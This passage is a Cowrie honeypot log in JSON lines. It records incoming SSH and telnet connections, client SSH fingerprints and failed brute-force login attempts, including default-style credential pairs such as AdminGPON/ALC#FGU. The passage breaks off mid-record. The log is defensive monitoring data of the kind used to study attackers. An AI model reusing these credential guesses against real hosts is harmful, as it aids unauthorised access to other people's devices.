{"eventid":"cowrie.session.closed","duration":28.691120386123657,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:44:18.087518Z","src_ip":"152.42.224.71","session":"c1f19cea67b8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"369147","message":"login attempt [admin/369147] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:44:18.558175Z","src_ip":"2.57.121.112","session":"f9b10d738b3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3666","message":"login attempt [admin/3666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:44:19.668346Z","src_ip":"2.57.121.112","session":"f9b10d738b3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"34533453","message":"login attempt [admin/34533453] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:44:20.776737Z","src_ip":"2.57.121.112","session":"f9b10d738b3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:44:21.885552Z","src_ip":"2.57.121.112","session":"f9b10d738b3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35268,"dst_ip":"10.17.0.5","dst_port":23,"session":"226914cc3c6d","protocol":"telnet","message":"New connection: 152.42.224.71:35268 (10.17.0.5:23) [session: 226914cc3c6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:44:38.842581Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":2816,"dst_ip":"10.17.0.5","dst_port":22,"session":"26533bdbf122","protocol":"ssh","message":"New connection: 38.93.206.2:2816 (10.17.0.5:22) [session: 26533bdbf122]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:44:55.966427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:44:55.971678Z","src_ip":"38.93.206.2","session":"26533bdbf122","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:44:56.025986Z","src_ip":"38.93.206.2","session":"26533bdbf122","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:44:56.181501Z","src_ip":"38.93.206.2","session":"26533bdbf122","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:44:57.235263Z","src_ip":"38.93.206.2","session":"26533bdbf122","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":24.79495334625244,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:45:03.637440Z","src_ip":"152.42.224.71","session":"226914cc3c6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":41564,"dst_ip":"10.17.0.5","dst_port":22,"session":"89bd17f61954","protocol":"ssh","message":"New connection: 2.57.121.25:41564 (10.17.0.5:22) [session: 89bd17f61954]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:45:10.022242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:45:10.027685Z","src_ip":"2.57.121.25","session":"89bd17f61954","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:45:10.142666Z","src_ip":"2.57.121.25","session":"89bd17f61954","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1709","message":"login attempt [user/1709] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:45:10.615239Z","src_ip":"2.57.121.25","session":"89bd17f61954","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"17071994","message":"login attempt [user/17071994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:45:11.719054Z","src_ip":"2.57.121.25","session":"89bd17f61954","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"170584","message":"login attempt [user/170584] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:45:12.822464Z","src_ip":"2.57.121.25","session":"89bd17f61954","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"17021975","message":"login attempt [user/17021975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:45:13.929208Z","src_ip":"2.57.121.25","session":"89bd17f61954","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"17011981","message":"login attempt [user/17011981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:45:15.035454Z","src_ip":"2.57.121.25","session":"89bd17f61954","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:45:16.139831Z","src_ip":"2.57.121.25","session":"89bd17f61954","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.56.3","src_port":58664,"dst_ip":"10.17.0.5","dst_port":22,"session":"ecafa27095b1","protocol":"ssh","message":"New connection: 103.115.56.3:58664 (10.17.0.5:22) [session: ecafa27095b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:45:53.547214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:45:53.552985Z","src_ip":"103.115.56.3","session":"ecafa27095b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:45:53.768122Z","src_ip":"103.115.56.3","session":"ecafa27095b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:45:54.195328Z","src_ip":"103.115.56.3","session":"ecafa27095b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:45:55.411814Z","src_ip":"103.115.56.3","session":"ecafa27095b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.124.11.238","src_port":30669,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8d92f5b94ba","protocol":"telnet","message":"New connection: 177.124.11.238:30669 (10.17.0.5:23) [session: d8d92f5b94ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:45:57.365140Z"}
{"eventid":"cowrie.session.closed","duration":12.403382301330566,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:46:09.768378Z","src_ip":"177.124.11.238","session":"d8d92f5b94ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":34826,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7c1f18e3361","protocol":"ssh","message":"New connection: 80.94.92.184:34826 (10.17.0.5:22) [session: a7c1f18e3361]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:46:28.586045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:46:28.745650Z","src_ip":"80.94.92.184","session":"a7c1f18e3361","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:46:28.749461Z","src_ip":"80.94.92.184","session":"a7c1f18e3361","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv321","message":"login attempt [solv/solv321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:46:30.134841Z","src_ip":"80.94.92.184","session":"a7c1f18e3361","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:46:31.509844Z","src_ip":"80.94.92.184","session":"a7c1f18e3361","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.50","src_port":13836,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4bcacfe7d85","protocol":"ssh","message":"New connection: 176.65.132.50:13836 (10.17.0.5:22) [session: b4bcacfe7d85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:46:33.683345Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:46:34.009590Z","src_ip":"176.65.132.50","session":"b4bcacfe7d85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.50","src_port":61728,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a41518d1dc2","protocol":"ssh","message":"New connection: 176.65.132.50:61728 (10.17.0.5:22) [session: 7a41518d1dc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:46:38.839269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:46:38.843603Z","src_ip":"176.65.132.50","session":"7a41518d1dc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:46:38.931468Z","src_ip":"176.65.132.50","session":"7a41518d1dc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"AdminGPON","password":"ALC#FGU","message":"login attempt [AdminGPON/ALC#FGU] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:46:39.640242Z","src_ip":"176.65.132.50","session":"7a41518d1dc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:46:42.860278Z","src_ip":"176.65.132.50","session":"7a41518d1dc2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":55080,"dst_ip":"159.203.135.109","dst_port":22,"session":"6713151f681d","protocol":"ssh","message":"New connection: 80.94.92.171:55080 (159.203.135.109:22) [session: 6713151f681d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:47:03.567212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:47:03.623431Z","src_ip":"80.94.92.171","session":"6713151f681d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:47:03.736312Z","src_ip":"80.94.92.171","session":"6713151f681d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:47:04.653233Z","src_ip":"80.94.92.171","session":"6713151f681d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:47:06.031500Z","src_ip":"80.94.92.171","session":"6713151f681d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53832,"dst_ip":"10.17.0.5","dst_port":23,"session":"42ddfbc31ed0","protocol":"telnet","message":"New connection: 152.42.224.71:53832 (10.17.0.5:23) [session: 42ddfbc31ed0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:47:13.503953Z"}
{"eventid":"cowrie.session.closed","duration":24.14181137084961,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:47:37.645663Z","src_ip":"152.42.224.71","session":"42ddfbc31ed0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43032,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f080c6d1e8b","protocol":"telnet","message":"New connection: 152.42.224.71:43032 (10.17.0.5:23) [session: 6f080c6d1e8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:47:38.668551Z"}
{"eventid":"cowrie.session.closed","duration":36.295398473739624,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:48:14.963841Z","src_ip":"152.42.224.71","session":"6f080c6d1e8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.213","src_port":33733,"dst_ip":"10.17.0.5","dst_port":22,"session":"d75089ec2657","protocol":"ssh","message":"New connection: 102.88.137.213:33733 (10.17.0.5:22) [session: d75089ec2657]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:48:18.632665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:48:18.636303Z","src_ip":"102.88.137.213","session":"d75089ec2657","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS